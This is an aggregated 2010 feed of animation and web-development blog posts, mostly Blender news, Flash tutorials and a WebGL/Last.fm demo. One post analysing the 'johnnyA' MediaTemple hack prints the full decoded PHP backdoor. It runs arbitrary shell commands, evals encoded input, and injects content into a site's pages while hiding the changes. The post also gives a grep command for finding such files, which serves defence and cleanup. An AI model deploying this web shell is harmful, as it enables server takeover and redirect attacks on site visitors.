2D & 3D Animation

Blender Usermeeting: Seattle, August 7th

Blender 3D News - Sat, 07/31/2010 - 05:38
The Seattle Blender User Group is meeting again this Saturday. Reserve a seat now! Oscar Baechler writes: Seabug: The Seattle Blender User Group. One of the best places in the Pacific Northwest for...

[read the full article on blendernation.com]
Categories: 2D & 3D Animation

Details of the johnnyA MediaTemple Hack

The Flash Blog - Sat, 07/31/2010 - 03:52

Update: MediaTemple directed me to another blog post with additional details. This highlights another problem with this incident. The information has been spread all over the place. While this blog post does give some good details, it still does not provide cleanup instructions. It simply says that all malicious files have been removed. I’m sorry to say that they have not.

If you have websites hosted on a MediaTemple (gs) then you may have been a victim of this annoying redirect hack, unofficially known as the johnnyA hack. It was once thought to be an issue with WordPress, but in reality static sites are also affected by this. Essentially the attack works by including some encoded JavaScript onto your pages that tries to redirect you to a malicious website or file.

After much searching and with the help of this blog post, I have found the rootkit that is used to do the damage. If you have been hacked you will find some PHP files that were created by the attackers with a bunch of gzipped, base64-encoded source code. I converted that into the actual attack code which is listed below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
<?PHP
@ignore_user_abort(1);
@set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@error_reporting(0);
@ini_set("memory_limit","16M");  

if (!function_exists('rand_checkstr'))
{
    function rand_checkstr()
    {
        $c5 = 1;
        $c3 = 8;          
        $e7 ="";    
        for ($f3=0;$f3<$c3;$f3++) {
            $c4 = mt_rand(1,7);        
            switch ($c4) {
                case ($c4<=2):
                    $e7 .= mt_rand(0,9);                
                    break;            
                case ($c4<=4):                      
                    $e7 .= chr(mt_rand(65,90));                
                    break;            
                case ($c4<=6):                                
                    $e7 .= chr(mt_rand(97,122));                
                    break;            
                case 7:                  
                    $e6 = strlen($e7);                
                    if ($c5>0&&$e6>0&&$e6<($c3-1)&&$e7[$e6-1]!="_")                
                    {                    
                        $e7 .= "_";                    
                        $c5--;                  
                    }                
                    else                
                    {                    
                        $f3--;                    
                        continue;                
                    }            
                    break;                
                }    
            }    
        return $e7;
    }
}

if (!function_exists('strrevpos'))
{
    function strrevpos($f4, $f6)
    {  
        $f5 = strpos (strrev($f4), strrev($f6));  
        if ($f5===false)
            return false;  
        else
            return strlen($f4) - $f5 - strlen($f6);
    }
}

if (!function_exists('after'))
{
    function after ($this, $d8)
    {  
        if (!is_bool(strpos($d8, $this)))  
            return substr($d8, strpos($d8,$this)+strlen($this));
    }
}

if (!function_exists('after_last'))
{
    function after_last ($this, $d8)
    {  
        if (!is_bool(strrevpos($d8, $this)))  
            return substr($d8, strrevpos($d8, $this)+strlen($this));
    }
}  

if (!function_exists('before'))
{
    function before ($this, $d8)
    {
        return substr($d8, 0, strpos($d8, $this));
    }
}

if (!function_exists('before_last'))
{
    function before_last ($this, $d8)
    {  
        return substr($d8, 0, strrevpos($d8, $this));
    }
}

if (!function_exists('between'))
{
    function between ($this, $f7, $d8)
    {  
        return before($f7, after($this, $d8));
    }
}

if (!function_exists('between_last'))
{
    function between_last ($this, $f7, $d8)
    {  
        return after_last($this, before_last($f7, $d8));
    }
}

if (!function_exists('stripslashes2'))
{
    function stripslashes2($d3)
    {    
        $d3 = str_replace('\\\\\\"', '\\"', $d3);    
        $d3 = str_replace("\\\'", "'", $d3);    
        $d3 = str_replace("\\\\\\\\", "\\\\", $d3);    
        return $d3;
    }
}

if (!function_exists('getfiles'))
{
    function getfiles($d4, $f1, $d5=0, $f8="\\")
    {  
        if(!is_dir($d4))
        {
            return null;
        }
        $d9=($f8=="\\")?"/":$f8;
        $d4=str_replace($f8,$d9,$d4);
        $d4=str_replace("//",$d9,$d4);
        $d4=(strrpos($d4, $d9)==strlen($d4)-1)? substr($d4, 0, strlen($d4)-1):$d4;  
        $e0=substr_count($d4, $d9);
        $d5=(!$d5)?-1:$d5+$e0;
        $e8=array();
        $d7=array( array($d4, $e0) );  
        while(sizeof($d7) && $d7[0][1]!=$d5)
        {  
            $d6=array_shift($d7);  
            $f9=opendir($d6[0]);  
            while( ($f0=readdir($f9))!==false )
            {    
                if( strrpos($f0,".") === (strlen($f0)-1))
                {
                    continue;
                };  
                $f2=$d6[0].$d9.$f0;    
                if(is_dir($f2))
                {  
                    $e9[]=$f2;
                    $d7[]=array( $f2, substr_count($f2, $d9) );
                }    
                else
                {
                    foreach($f1 as $f3)
                    {
                        if(preg_match($f3,$f2))
                        {
                            $e8[]=$f2;break;};
                        }
                    };  
                };  
            }
            return $e8;
        }
    }  
   
if (!function_exists('checkcontent2'))
{
    function checkcontent2($g0)
    {  
        $e5 = array("Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)",      
        "Mozilla/5.0 (compatible; SnapPreviewBot; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9",      
        "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9b5) Gecko/2008032619 Firefox/3.0b5",      
        "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060731 Firefox/1.5.0.5 Flock/0.7.4.1",      
        "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008092215 Firefox/3.0.1 Orca/1.1 beta 3",      
        "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.xx) Gecko/20030504 Mozilla Firebird/0.6",      
        "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5");  
       
        if (function_exists('curl_init'))  
        {  
            $g2 =  $e5[rand(0,count($e5)-1)];      
            $g1 = curl_init();    
            curl_setopt($g1, CURLOPT_URL, $g0);  
            curl_setopt($g1, CURLOPT_HEADER, 0);  
            curl_setopt($g1, CURLOPT_TIMEOUT, 30);  
            curl_setopt($g1, CURLOPT_RETURNTRANSFER, 1);  
            curl_setopt($g1, CURLOPT_USERAGENT, $g2);  
            curl_setopt($g1, CURLOPT_FOLLOWLOCATION, 1);  
            curl_setopt($g1, CURLOPT_MAXREDIRS, 2);      
            $g3 = curl_exec($g1);    
            curl_close($g1);      
            if ($g3 !== false)    
            {  
                 return $g3;  
            }  
        }  
        else if (ini_get('allow_url_fopen') == '1')  
        {  
            $g3 = file_get_contents($g0);  
            if ($g3 !== false)    
            {    
                return $g3;  
            }  
        }  
        else  
        {  
            echo "<h5 style='color:maroon'>Can't download ".$g0." - EXIT;</h5>";  
            exit;  
        }
    }
}  

if (!function_exists('getcode'))
{
    function getcode($g4,$d0)
    {  
        $c8 = '';    
        if(preg_match("/$d0/",$g4))  
        {  
            $c8 = preg_replace("/.*<b1><!--|$d0|--><\/b1>.*/msi","",$g4);  
        }  
        return $c8;
    }
}

$d1 = array("(\.ph.*$|\.htm.*$|\.shtm.*$|\.asp.*$|\.jsp$|\.jhtm$|\.cfm$|\.ctp$|\.tpl$)");
$a7 = array("/<ad>.*<\/ad>/si",
"/<ads>.*<\/ads>/si",
"/<bb1>.*<bb2>/si",
"/<b1>.*<\/b1>/si",
"/<bb1><bb1>/si",
"/<bb2><bb2>/si",      
"/<(span|font|div) style=.*(height|width)\s*:\s*[0-2]{1}\s*(pt|px).*(overflow|visibility)\s*:\s*(auto|hidden).*>.*<a href=.*<\/a>.*<\/(span|font|div)>/Usi",      
"/<(span|font|div) style=.*(overflow|visibility)\s*:\s*(auto|hidden).*(height|width)\s*:\s*[0-2]{1}\s*(pt|px).*>.*<a href=.*<\/a>.*<\/(span|font|div)>/Usi",      
"/<(span|font|div) style=.*visibility\s*:\s*(auto|hidden).*overflow\s*:\s*(auto|hidden).*>.*<a href=.*<\/a>.*<\/(span|font|div)>/Usi",      
"/<(span|font|div) style=.*overflow\s*:\s*(auto|hidden).*visibility\s*:\s*(auto|hidden).*>.*<a href=.*<\/a>.*<\/(span|font|div)>/Usi",      "/wpfooterz.*wpfooterz/si",      "/<a.*style\s*=.*(top|left)\s*:\s*-[0-9]{3,5}.*>.*<\/a>/Ui",      
"/<a.*(viagra|cialis|phentermine|vioxx|hydrocodon|oxycontin|levitra|ambien|xanax|adipex|cheap pills|paxil|Codeine|vicodin|tramadol|tadalafil|carisoprodol|mesothelioma|lorazepam|propecia|protonix|prozac|prescription|buy cheap|zithromax)+.*><\/a>/i");

if (isset($_REQUEST['update1']))
{  
    $b4 = explode("EXPC",gzinflate(base64_decode($_REQUEST['update1'])));    
    $b0 = $b4[0];  
    $b5 = explode(',',$b4[1]);    
    foreach($b5 as $a3)  
    {  
        if (strlen($b0) > 1)
            $b0 = "<ads>".$b0."</ads>";      
        $a2 = false;  
        $a5 = false;      
        if (!is_writable($a3))
            @chmod($a3, 0644);      
        if (file_exists($a3) && is_writable($a3))  
        {    
            $b7 = false;    
            if (eregi(".htm",$a3) !== false || eregi(".shtm",$a3) !== false)
                $b7 = true;        
            $a1 = trim(file_get_contents($a3));        
            foreach($a7 as $c2)    
            {    
                if (preg_match($c2, $a1))    
                {      
                    $a1 = preg_replace($c2, "", $a1);      
                    $a5 = true;    
                }    
            }        
            if (preg_match("/<body(.*)?>/i",$a1,$a9))    
            {    
                $a0=$a9[0];    
                $a1=preg_replace("/<body(.*)?>/i", $a0.$b0, $a1);    
                $a2 = true;    
            }    
            else if (preg_match("/<\/body(.*)?>/i",$a1,$a9))    
            {    
                $a0=$a9[0];    
                $a1=preg_replace("/<\/body(.*)?>/i", $b0.$a0, $a1);    
                $a2 = true;    
            }    
            else if (preg_match("/<\/html>/i",$a1,$a9))    
            {    
                $a0="</body>".$a9[0];    
                $a1=preg_replace("/<\/html>/i", $b0.$a0, $a1);    
                $a2 = true;    
            }    
            else if ($b7 == true)    
            {    
                $a0=$b0."</body></html>";    
                $a1.=$a0;    
                $a2 = true;    
            }        
            if ($a2 == true || $a5 == true)    
            {    
                $a4 = @filemtime($a3);          
                $b1 = fopen($a3, "w+");    
                fwrite($b1, $a1);    
                fclose($b1);          
                @touch($a3,$a4,$a4);          
                if ($a2 == true)
                    echo "<pre>update $a3</pre>";    
                if ($a5 == true)
                    echo "<pre>spam removed $a3</pre>";    
            }  
        }  
        else  
        {    
            if (!file_exists($a3))
                echo "<pre>no file $a3</pre>";  
            else if (!is_writable($a3))
                echo "<pre>no rw file $a3</pre>";  
        }  
    }
}  

if (isset($_REQUEST['update2']))
{  
    $b0 = gzinflate(base64_decode($_REQUEST['update2']));    
    $a6 = $_SERVER['SCRIPT_FILENAME'];  
    $b6 = before_last('/',$a6);  
    if (!is_writable($b6))
        @chmod($b6, 0644);  
    $b8 = @filemtime($b6);  
    @copy($a6,$a6.'1.php');  
    @touch($b6,$b8,$b8);  
    @touch($a6.'1.php',$b8,$b8);    
    if (!is_writable($a6))
        @chmod($a6, 0644);  
    if (is_writable($a6))  
    {  
        $a1 = trim(file_get_contents($a6));  
        $b3 = preg_replace('/^\<\?php.*\?\>/Usi','',$a1);      
        $a4 = @filemtime($a6);      
        $b1 = fopen($a6, "w");  
        fwrite($b1, $b0.$b3);  
        fclose($b1);    
        @touch($a6,$a4,$a4);      
        echo "<pre>update</pre>";  
    }  
    else  
    {  
        echo "<pre>no rw $a3</pre>";  
    }
}  

if (isset($_REQUEST['update3']))
{  
    echo "<pre>";  
    $a8 = $_REQUEST['update3'];  
    $b4 = '';  
    if (!empty($a8))  
    {  
        if(function_exists('exec'))  
        {    
            @exec($a8,$b4);    
            $b4 = join("\n",$b4);  
        }  
        elseif(function_exists('shell_exec'))  
        {    
            $b4 = @shell_exec($a8);  
        }  
        elseif(function_exists('system'))  
        {  
             @ob_start();    
             @system($a8);    
             $b4 = @ob_get_contents();    
             @ob_end_clean();  
        }  
        elseif(function_exists('passthru'))  
        {    
            @ob_start();    
            @passthru($a8);    
            $b4 = @ob_get_contents();    
            @ob_end_clean();  
        }  
        elseif(@is_resource($b2 = @popen($a8,"r")))  
        {  
            $b4 = "";  
            while(!@feof($b2))
            {
                $b4 .= @fread($b2,1024);
            }  
            @pclose($b2);  
        }  
    }  
    echo $b4;  
    echo "</pre>";
}  

if (isset($_REQUEST['add1']))
{  
    $b4 = explode("EXPC",gzinflate(base64_decode($_REQUEST['add1'])));    
    $b0 = $b4[0];  $b5 = explode(',',$b4[1]);    
    foreach($b5 as $a3)  
    {  
        $a2 = false;  
        $a5 = false;      
        if (!is_writable($a3))
            @chmod($a3, 0644);      
        if (file_exists($a3) && is_writable($a3))  
        {    
            $a1 = trim(file_get_contents($a3));    
            $a1 = preg_replace("/var\sst1(.*)gr0\=0\;/i", "", $a1);        
            $a1=$b0.$a1;    
            $a4 = @filemtime($a3);        
            $b1 = fopen($a3, "w");    
            fwrite($b1, $a1);    
            fclose($b1);        
            @touch($a3,$a4,$a4);        
            echo "<pre>update $a3</pre>";  
        }  
        else  
        {    
            if (!file_exists($a3))
                echo "<pre>no file $a3</pre>";    
            else if (!is_writable($a3))
                echo "<pre>no w file $a3</pre>";  
        }  
    }
}  
   
if (isset($_REQUEST["ev1"]))
{
    $b9=base64_decode($_REQUEST["ev1"]);
    if (isset($_REQUEST["s"]))
    {
        $b9=stripslashes2($b9);
    };  
    eval($b9);  
    exit();
}  

if (isset($_REQUEST["info1"]))  
{  
    $c0 = 'dGVzdDEyNw==';  
    $c1 = @get_current_user();  
    echo "<!--".base64_decode($c0)."(($c1))-->";  
    exit;
}  

if (isset($_REQUEST["get1"]))
{  
    get_magic_quotes_gpc() ? $c6 = stripslashes($_REQUEST['get1']) : $c6 = $_REQUEST['get1'];  
    $d2 = before($_SERVER['PHP_SELF'],$_SERVER['SCRIPT_FILENAME']);  
    $d0 = rand_checkstr();  
    $e1 = array("((^index.*\.|^default.*\.|^main.*\.|^.*body.*\.|^login.*\.|^.*content.*\.|^auth.*\.|^.*footer.*\.|^home.*\.|^.*templ.*\.|^inc.*\.|^page.*\.|^hyperseek.*\.|^Output.*\.|^comment.*\.|^uifunctions.*\.|^bottom.*\.|^infocus.*\.)(ph.*$|htm.*$|shtm.*$|asp.*$|jsp$|jhtml$|cfm$|tpl$|inc$|pl$|templ.*$|xml$|sht$|ctp$))");    
    $b5 = getfiles($d2, $e1, 4);    
    foreach($b5 as $a3)  
    {  
        $a2 = false;  
        $a5 = false;      
        if (file_exists($a3))  
        {    
            if (!is_writable($a3))
                @chmod($a3, 0644);    
            if (is_writable($a3))    
            {    
                $e2 = base64_encode(gzcompress($a3,9));          
                $b0 ="<b1><!--".$d0.$e2."--></b1>";          
                $a1 = trim(file_get_contents($a3));          
                foreach($a7 as $c2)    
                {      
                    if (preg_match($c2, $a1))      
                    {      
                        $a1 = preg_replace($c2, "", $a1);      
                        $a5 = true;      
                    }    
                }    
                if (preg_match("/<body(.*)?>/i",$a1,$a9))    
                {      
                    $a0=$a9[0];      
                    $a1=preg_replace("/<body(.*)?>/i", $a0.$b0, $a1);      
                    $a2 = true;    
                }    
                else if (preg_match("/<\/body(.*)?>/i",$a1,$a9))    
                {      
                    $a0=$a9[0];      
                    $a1=preg_replace("/<\/body(.*)?>/i", $b0.$a0, $a1);      
                    $a2 = true;    
                }    
                else if (preg_match("/<\/html>/i",$a1,$a9))    
                {      
                    $a0="</body>".$a9[0];      
                    $a1=preg_replace("/<\/html>/i", $b0.$a0, $a1);      
                    $a2 = true;    
                }          
                if ($a2 == true || $a5 == true)    
                {      
                    $a4 = @filemtime($a3);            
                    $b1 = @fopen($a3, "w+");      
                    @fwrite($b1, $a1);      
                    @fclose($b1);            
                    @touch($a3,$a4,$a4);    
                }    
            }  
        }  
    }  
    $c9 = checkcontent2($c6);  
    if (eregi($d0, $c9))  
    {  
        $c9 = gzuncompress(base64_decode(getcode($c9,$d0)));      
        echo $c9;  
    }    
    foreach($b5 as $a3)  
    {  
        $a5 = false;      
        if (file_exists($a3))  
        {    
            if (!is_writable($a3))
                @chmod($a3, 0644);    
            if (is_writable($a3))    
            {    
                $a1 = trim(file_get_contents($a3));          
                foreach($a7 as $c2)    
                {      
                    if (preg_match($c2, $a1))      
                    {      
                        $a1 = preg_replace($c2, "", $a1);      
                        $a5 = true;      
                    }    
                }    
            if ($a5 == true)    
            {      
                $a4 = @filemtime($a3);            
                $b1 = @fopen($a3, "w+");      
                @fwrite($b1, $a1);      
                @fclose($b1);            
                @touch($a3,$a4,$a4);    
            }    
        }  
    }  
}    
exit;
}  

if (isset($_REQUEST["get2"]))
{  
    $e3 = array();  
    get_magic_quotes_gpc() ? $c6 = stripslashes($_REQUEST['get2']) : $c6 = $_REQUEST['get2'];  
    $d2 = before($_SERVER['PHP_SELF'],$_SERVER['SCRIPT_FILENAME']);    
    $c7 = checkcontent2($c6);
    $c6 = preg_replace("/^www\./i", "", $c6);  
    preg_match_all("/script.*src\s?=\s?(\"|')(.*\.js)(\?|\/|\"|')/Ui", $c7,$c8);    
    foreach ($c8[2] as $e4)  
    {  
        if (preg_match('/^http/i',$e4))  
        {    
            if (preg_match("/$c6/i",$e4))    
            {    
                $b2 = $d2.after($c6,$e4);    
                if (file_exists($b2))
                    $e3[] = $b2;    
            }  
        }  
        else  
        {    
            $b2 = $d2.'/'.$e4;    
            if (file_exists($b2))
                $e3[] = $b2;  
        }  
    }    
           
    echo ($e3[rand(0,count($e3)-1)]);  
    exit;
}

?>

It looks like the attackers simply visit this PHP page and pass in some request parameters to tailor the attack. It looks like there are a few different options such as generating files, executing shell code, etc. I’m no PHP wizard so let me know if you find something interesting.

So how do you find these PHP files? Just SSH into your root directory and run:

1
grep -iR --include "*.php" "[a-zA-Z0-9\/\+]\{255,\}" *

This will list all files that have a string that is longer than 255 characters. This should help you locate these files.

My big question is for MediaTemple. What the hell are you guys doing? Why are we having to dig around for this information? Surely you have determined the same things so why are you not telling people how to clean it up? This official blog post from MediaTemple is vague and tells us nothing about how to actually clean our servers up. Do your job!

New Tutorial on Flash to HTML5 Video Fallback

The Flash Blog - Fri, 07/30/2010 - 21:27

I just uploaded a new tutorial that shows you how to provide an HTML5 video fallback option for devices that do not support the Flash Player. The tutorial also shows you how to use the new Flash Media Playback component for quickly adding video to your websites. If getting your video out to the largest number of people is your goal, providing an HTML5 fallback is an absolute necessity.

Grey Justice: Puncher of Men

Blender 3D News - Fri, 07/30/2010 - 06:12
Two weeks ago we could watch a group of Blender artists work on a 48-hour project, live on video. Jason van Gumster presents the results and talks about the project. Jason van Gumster writes: On the...

[read the full article on blendernation.com]
Categories: 2D & 3D Animation

The Cup

Blender 3D News - Wed, 07/28/2010 - 13:22
Daniel Martinez Lara writes: Everything: modelling, animation, illumination, the render is Blender Internal and all the comp is Blender too. I’m happy with the work of students :) I’ll...

[read the full article on blendernation.com]
Categories: 2D & 3D Animation

Big Buck Bunny Sighted at Disney

Blender 3D News - Wed, 07/28/2010 - 05:00
Michael wrote: “I saw a screenshot of Big Buck Bunny at the new Disney Research Institute in Zurich! The sighting is from Euronews”.

[read the full article on blendernation.com]
Categories: 2D & 3D Animation

Speaking at Siggraph 2010

Rozengain - New Media Development Blog - Tue, 07/27/2010 - 20:11

Tomorrow I’m off to Los Angeles do one of the WebGL BoF talks at Siggraph. I’m very excited to be part of this. My talk will be about the opportunities WebGL has to offer to us as a creative agency.
I’ve been working with WebGL a lot lately. A lot of experimentation but also some client work. The ability to work with hardware accelerated graphics on the web has been inspiring.
I will write more about the conference in a few days. Be sure to give me a shout if you’re in LA as well

New Video Tutorial on Mobile Web Development

The Flash Blog - Tue, 07/27/2010 - 19:45

I just uploaded a new tutorial that shows you how to create a mobile-optimized website using HTML and CSS. The tutorial also highlights the new multi-screen development features of Dreamweaver CS5. It is important to have a strong grasp on standard web technologies as only then can you make an informed decision about when to use Flash.

User Meeting: Fargo-Moorhead, July 28th

Blender 3D News - Tue, 07/27/2010 - 15:00
Where is Fargo-Moorhead? Here, in Minnesota! Blenderheads will be meeting this Wednesday at 6pm. Richard Vaudrin writes: The first blender user-group meeting for the Fargo-Moorhead area will be...

[read the full article on blendernation.com]
Categories: 2D & 3D Animation

PSP Game: PlayEnglish

Blender 3D News - Tue, 07/27/2010 - 06:02
The Argentinian studio QB9 has published PlayEnglish, an educative adventure game that helps players both to learn English and develop their language skills while playing with their Sony® PSP. Juan...

[read the full article on blendernation.com]
Categories: 2D & 3D Animation

Blender at Barcamp, Guayaquil, Ecuador

Blender 3D News - Mon, 07/26/2010 - 06:00
BarCamp is an international network of user-generated conferences (or unconferences). They are open, participatory workshop-events, whose content is provided by participants. [quote from Wikipedia]....

[read the full article on blendernation.com]
Categories: 2D & 3D Animation

Free Textures on TextureMate.com

Blender 3D News - Sun, 07/25/2010 - 06:00
Here’s a useful texture repository that popped up in a comment yesterday beneath our ‘List of free texture sites‘ blogpost. Enjoy! From their ‘legal stuff’...

[read the full article on blendernation.com]
Categories: 2D & 3D Animation

“Lista”

Blender 3D News - Sat, 07/24/2010 - 06:55
http://www.youtube.com/watch?v=hgHYtdM9PME Pawel Lyczkowski writes: I made this animation for my diploma at the Academy of Fine Arts in Warsaw, Graphic Design Department, 2010. Made with Blender...

[read the full article on blendernation.com]
Categories: 2D & 3D Animation

Visualizing Last.fm data with WebGL, GLGE, jQuery

Rozengain - New Media Development Blog - Fri, 07/23/2010 - 10:47

I’m a jQuery newbie so I thought I’d try it out in combination with WebGL. It makes a great example together with the GLGE library for WebGL.

Mind you, there are better ways to do tunnels in 3D. This demo is meant to demonstrate how specific things work with GLGE.

An explanation of what’s going on can be found below. Click here to see the live demo or watch the YouTube video if you don’t have a WebGL-enabled browser:

Using jQuery to get the data from Last.fm

First there’s a bit of jQuery code that gets the xml and the images from Last.fm. I use a php proxy script to circumvent security restrictions.

var images = []; var apiKey = 'e351ab3a5309170fa0390aeaebd09304'; /** * Last.FM Service Calls */ var serviceCalls = [ 'proxy.php?mimeType=text/xml&url=' + escape('http://ws.audioscrobbler.com/2.0/?method=artist.gettopalbums&artist=napalm%20death&api_key=' + apiKey), 'proxy.php?mimeType=text/xml&url=' + escape('http://ws.audioscrobbler.com/2.0/?method=artist.gettopalbums&artist=metallica&api_key=' + apiKey), 'proxy.php?mimeType=text/xml&url=' + escape('http://ws.audioscrobbler.com/2.0/?method=artist.gettopalbums&artist=ambulette&api_key=' + apiKey), 'proxy.php?mimeType=text/xml&url=' + escape('http://ws.audioscrobbler.com/2.0/?method=artist.gettopalbums&artist=dri&api_key=' + apiKey) ]; /** * Start the Last.FM Service Calls */ $(document).ready(function() { loadNextService(); }); /** * Get the artists's top albums */ function loadNextService() { if(serviceCalls.length == 0) { start3D(); return; } var serviceCall = serviceCalls.shift(); /** * Traverse the xml file and get the images */ $.ajax({ type: "GET", url: serviceCall, dataType: "xml", success: function(xml) { $(xml).find('album').each(function(){ $(this).find('image').each(function(){ var id = $(this).attr('size'); if(id == "large") images.push($(this).text()); }) }); loadNextService(); } }); } Creating the tunnel with GLGE

I’m going to skip the basic stuff (setting up the scene, adding textures) that I explained in a previous post (here).
There’s one specific thing regarding the textures though. Last.fm usually returns non power of two textures. These can be used with Minefield, but not with Chromium. This resizing is done server-side with a php script:

var texture = new GLGE.Texture(); texture.setSrc('ResizeImage.php?size=256&url=' + escape(images[i]));

The planes are grouped within GLGE.Group objects. The syntax for this is very simple:

var currentGroup = new GLGE.Group(); group.addObject(myObject);

The rest is self-explanatory:

var images = []; var apiKey = 'e351ab3a5309170fa0390aeaebd09304'; /** * Last.FM Service Calls */ var serviceCalls = [ 'proxy.php?mimeType=text/xml&url=' + escape('http://ws.audioscrobbler.com/2.0/?method=artist.gettopalbums&artist=napalm%20death&api_key=' + apiKey), 'proxy.php?mimeType=text/xml&url=' + escape('http://ws.audioscrobbler.com/2.0/?method=artist.gettopalbums&artist=metallica&api_key=' + apiKey), 'proxy.php?mimeType=text/xml&url=' + escape('http://ws.audioscrobbler.com/2.0/?method=artist.gettopalbums&artist=ambulette&api_key=' + apiKey), 'proxy.php?mimeType=text/xml&url=' + escape('http://ws.audioscrobbler.com/2.0/?method=artist.gettopalbums&artist=dri&api_key=' + apiKey) ]; /** * Start the Last.FM Service Calls */ $(document).ready(function() { loadNextService(); }); /** * Get the artists's top albums */ function loadNextService() { if(serviceCalls.length == 0) { start3D(); return; } var serviceCall = serviceCalls.shift(); /** * Traverse the xml file and get the images */ $.ajax({ type: "GET", url: serviceCall, dataType: "xml", success: function(xml) { $(xml).find('album').each(function(){ $(this).find('image').each(function(){ var id = $(this).attr('size'); if(id == "large") images.push($(this).text()); }) }); loadNextService(); } }); } /** * Set up the 3D scene */ function start3D() { var doc = new GLGE.Document(); var planeGroups = []; var circleRadius = 5; var degreeStep = 30; var zStep = -11; var firstGroup; var lastGroup; doc.onLoad = function() { var renderer = new GLGE.Renderer(document.getElementById("canvas")); var scene = doc.getElement("mainscene"); camera = scene.getCamera(); renderer.setScene(scene); var planesPerRing = Math.ceil(360/degreeStep); var numPlanes = images.length - (images.length % planesPerRing); var currentGroup = new GLGE.Group(); firstGroup = currentGroup; planeGroups.push(currentGroup); scene.addObject(currentGroup); for(var i=0;i<=numPlanes;i++){ var plane = new GLGE.Object(); plane.setMesh(doc.getElement("Plane")); var material = new GLGE.Material(); var texture = new GLGE.Texture(); var materialLayer = new GLGE.MaterialLayer(); texture.setSrc('ResizeImage.php?size=256&url=' + escape(images[i])); materialLayer.setMapinput(GLGE.UV1); materialLayer.setMapto(GLGE.M_COLOR); materialLayer.setTexture(texture); material.addTexture(texture); material.addMaterialLayer(materialLayer); plane.setMaterial(material); var degrees = (i * degreeStep) % 360; var radians = ( Math.PI / 180 ) * degrees; var degreesTan = ( degrees + 90 ) % 360; var radiansTan = ( Math.PI / 180 ) * degreesTan; plane.setScale(1.3, 5.2, 1.3); plane.setRotX(Math.PI * .5); plane.setRotY(radiansTan); plane.setLocX(Math.cos(radians) * circleRadius); plane.setLocY(Math.sin(radians) * circleRadius); currentGroup.addObject(plane); if(i%planesPerRing==0 && i > 0 && i != numPlanes) { var newGroup = new GLGE.Group(); newGroup.setLocZ(planeGroups.length*zStep); currentGroup.nextGroup = newGroup; currentGroup = newGroup; scene.addObject(currentGroup); planeGroups.push(currentGroup); } } var locXDispl = 0; var rotDispl = 0; function render() { renderer.render(); var group = firstGroup; do { group.setLocZ(group.getLocZ() + 1.5); group = group.nextGroup; } while(group); if(firstGroup.getLocZ() > .5) { firstGroup.setLocZ(lastGroup.getLocZ() + zStep); lastGroup.nextGroup = firstGroup; var nextGroup = firstGroup.nextGroup; firstGroup.nextGroup = null; lastGroup = firstGroup; firstGroup = nextGroup; } var rotDisplSin = Math.sin(rotDispl); camera.setLocX(Math.sin(locXDispl) * 3); camera.setRotY(rotDisplSin * .3); camera.setRotZ(rotDisplSin * .5); locXDispl += .05; rotDispl += .02; } lastGroup = currentGroup; setInterval(render, 1000/60); } doc.load("scene.xml"); }

Blender 2.53 Released

Blender 3D News - Thu, 07/22/2010 - 17:00
The Blender Foundation just released 2.53, the first ‘Beta’ of the Blender 2.5 series. While the excellent 2.50 release log has been updated with 2.53 features, there’s no...

[read the full article on blendernation.com]
Categories: 2D & 3D Animation

Blender at Swiss Summer Camp

Blender 3D News - Thu, 07/22/2010 - 12:31
Blender is part of the itinerary of a week-long summercamp “Passeport Vacances” for teenagers in Switserland. Alain Mathez reports. Alain writes: I co-organise a day dedicated to Blender...

[read the full article on blendernation.com]
Categories: 2D & 3D Animation

The Process Diary: July

Blender 3D News - Wed, 07/21/2010 - 10:00
Paul Caggegi writes: Bonus episode for July over at the Process Diary this month. Paul’s model is finally getting the detailing done. The next two months will also have bonus episodes: around...

[read the full article on blendernation.com]
Categories: 2D & 3D Animation

Blender Python bindings for Notepad++

